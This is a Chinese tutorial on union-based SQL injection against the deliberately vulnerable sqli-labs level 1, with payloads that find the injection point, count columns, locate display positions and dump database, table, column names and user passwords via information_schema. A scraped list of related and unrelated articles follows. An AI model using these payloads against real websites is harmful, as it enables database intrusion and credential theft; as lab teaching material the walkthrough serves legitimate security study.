sql注入 union联合查询注入

我们以sqli-labs的第一关为例,来具体理解union联合查询注入的方法,理解每一步我为什么要这么去做。
好的,我们开始第一关!

首先查看sqli-labs第一关

这是第一关初始界面,在url界面输入?id=1 发现有回显,给我们回显了两个数据

当我们输入?id=1’ 时出现了语法错误,表示这里可能存在语法漏洞,我们进一步探索

当我们输入 ?id=1’ --+ 时,又回显正常,然后我们用 ?id=1’ and 1=1–+ 回显正常,?id=1’ and 1=2–+ 没有回显, 于是可以判断此处为sql注入点。

然后,我们使用order by 判断该语句查询了几列数据
输入?id=1’ order by 3 --+
输入?id=1’ order by 4 --+
发现输入第一句时回显正常,输入第二句时报错。可以证明前面查询了三列数据。

思考:
1.为什么用order by 可以证明前面语句查询了三列数据呢?
2.我们为什么要知道前面查询了多少语句呢?
解:
第一题:
首先我们要知道order by的作用:order by 简单的来说 就是对前面查询的数据进行分组,分组依据是前面查询的内容的属性。比如说前面查询的数据是甲、乙、丙,我们可以根据这三种属性的一到三种进行分类,但是不能超过三种。所以上面order by 4 会报错误信息。因此可以依据此来判断前面查询了几列数据。
第二题:
因为使用union函数进行查询时,union前面查询语句查询的元素与后面查询语句查询的元素要数量上一样,所以我们必需要知道前面语句查询了多少个元素。比如,此语句:select 甲,乙,丙 union select 1,2,3 因为前面查询的语句有三个元素(甲,乙,丙),所以后面查询的语句必须是三个元素(1,2,3)。


判断元素后,开始寻找显示位。
使用语句:?id=111‘ union select 1,2,3 --+
查看到显示2,3。于是判断显示位为第二个元素和第三个元素。
这里将id值改为111是为了让前面查询的语句为空,无显示,然后后面查询语句查询的元素显示出来。
为什么要进行这一步?因为要将显示位判断出来,我们才能知道应该在哪里注入我们查询的语句它才会显示。

开始查询数据库名
使用语句:?id=111’ union select 1,2,(database()) --+
使用第三个元素的显示位直接查询

查询表名
使用语句: ?id=111’ union select 1,2,(group_concat(table_name) from information_schema.tables where table_schema=‘security’) --+
理解此语句,首先我们应该要知道数据库中,有一个information_schema库,里面有一个tables表,里面存有整个数据库的表名。我们要去查找的表,就是在这个库中去找。
使用group_concat()函数将所有查询的表名连在一起成为一条数据。


查询表中列名
当我们拿到所有的表名后,选取可能含有敏感信息的表进行查询,比如users表。
使用语句:
?id= 111’ union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema = ‘security’ and table_name = ‘users’ ) --+
理解此语句,首先我们应该要知道数据库中,有一个information_schema库,里面有一个columns表,里面存有整个数据库的列名。我们要去查找的列,就是在这个库中去找。


查找列中的值
使用语句:
?id=111’ union select 1,group_concat(username),group_concat(password) from security.users --+
使用2,3显示位 查询列中的值。

sql注入 union联合查询注入(超详细)相关推荐

  1. 【SQL注入-03】union联合查询注入案例

    目录 1 union联合查询注入概述 1.1 简介 1.2 适用条件 1.3 注入步骤 1.4 注入技巧 2 union联合查询注入案例 2.1 操作环境 2.2 操作具体步骤 2.2.1 判断是否存 ...

  2. SQL注入之联合查询注入

    MySQL中的联合查询 联合查询是可合并多个相似的选择查询的结果集.等同于将一个表追加到另一个表,从而实现将两个表的查询组合在一起,使用为此为UNINO或UNION ALL 联合查询:将多个查询的结果 ...

  3. 【SQL注入】联合查询(最简单的注入方法)

    目录 一.介绍: 二.原理: 三.前提条件 四.利用过程 一.介绍: 是最简单的一种注入方法 联合查询注入  报错查询注入  布尔型注入  延时注入  堆叠查询注入 二.原理: 就是可合并多个查询的结 ...

  4. SQL注入之联合查询(MySQL)

    SQL注入之联合查询 0x00 前期准备 0x01 联合查询前提 0x02 注入步骤 0x03个人小结 一.Mysql注释 二.Mysql系统函数 三.其他 0x00 前期准备 环境搭配:Apache ...

  5. SQL注入——联合查询注入

    0x01 SQL注入的原理 针对SQL注入的攻击行为可描述为通过用户可控参数中注入SQL语法,破坏原 有SQL结构,达到编写程序时意料之外结果的攻击行为.其成因可以归结外一下 两个原因叠加造成的: 1 ...

  6. SQL注入原理及实践(一)--SQL注入之联合查询

    SQL注入原理及实践(一)–SQL注入之联合查询 1)判断注入类型 一般采用[1and1=2]去判断,当输入[1and1=2]时, 如果报错,则为数字型注入, 如果显示正常,则为字符型注入 原理如下: ...

  7. SQL注入-联合查询注入

    SQL注入-联合查询注入 一,原理 使用union select对两个表联合查询,注意两个表查询的字段数量要相同,不然会报错. 比如表一有2个字段,表二有4个字段,要想联合查询必须查询字段数量相等,就 ...

  8. SQL注入——基于联合查询的字符型GET注入(三)

    本章目的 普及字符型GET注入的原理和特点,掌握利用联合查询(unionselect)的方法实现SQL注入的基本流程. 实验环境 攻击机:Pentest-Atk (1)操作系统:Windows10 ( ...

  9. mysql联合查询注入防护,SQL注入之BypassWaf

    0x00 前言 无论是在CTF比赛中还是在现实项目中,都会遇到各种各样的waf,没有绝对安全的系统,仔细的研究总会发现被"漏掉"的地方. 最近在研究过waf的技巧,期间还是很有趣的 ...

最新文章

  1. Android Bluetooth模块学习笔记
  2. Android利用Looper在子线程中改变UI
  3. 阿里云安装mysql5.6_yum安装mysql 5.6-阿里云开发者社区
  4. 特征工程(2):特征构建
  5. go iscoinbase()_《电车GO!驰骋吧山手线》新情报:高分攻略与新模式介绍
  6. 温故而知新!这篇文章可以满足你80%日常工作!面试真题解析
  7. 面试之 Mysql 汇总
  8. SQL Server中行列转换 Pivot UnPivot (转载)
  9. mui ajax传参示例
  10. 十分钟快速上手结巴分词
  11. PCA原理及代码实现
  12. LeetCode之两个数组的交集
  13. C# 实现Remoting双向通信
  14. 开发中的多线程ID检测工具(ESET_VC52_MCID)
  15. 嘉楠科技被「华尔街」看空
  16. qt emit是什么意思_2020年12月12日 无赞赏QT吗哪 :如天上的星星永远发光的信仰...
  17. [HAL]STM32F1光照度测量BH1750 串口输出
  18. 垃圾分类很难吗?这是一篇来自AI垃圾回收箱的灵魂拷问…
  19. zzuli 1787: 生化危机 (bfs与dfs)
  20. 验证DNS解析失败:解决办法之一

热门文章

  1. 一加3T系统自带手机铃声及通知铃声
  2. 手机连无线网后没有网络连接到服务器,手机无线网络连接上但上不了网
  3. MBA毕业了,我想继续做开发
  4. 力控批量添加变量_力控组态软件的变量操作函数3
  5. matlab 生成sine音频文件.wav (双声道.wav)--audiowrite
  6. latex 1图加标题_风靡全球的数学公式编辑工具——LaTeX简介
  7. 微信小程序因视频播放不合规问题解决
  8. Excel学习笔记:P34-VLOOKUP 功成身退!全新函数XLOOKUP霸气取而代之!
  9. 研究生读计算机视觉怎么样?好找工作
  10. Gerald Weinberg-探索需求-UMLChina讲座-音频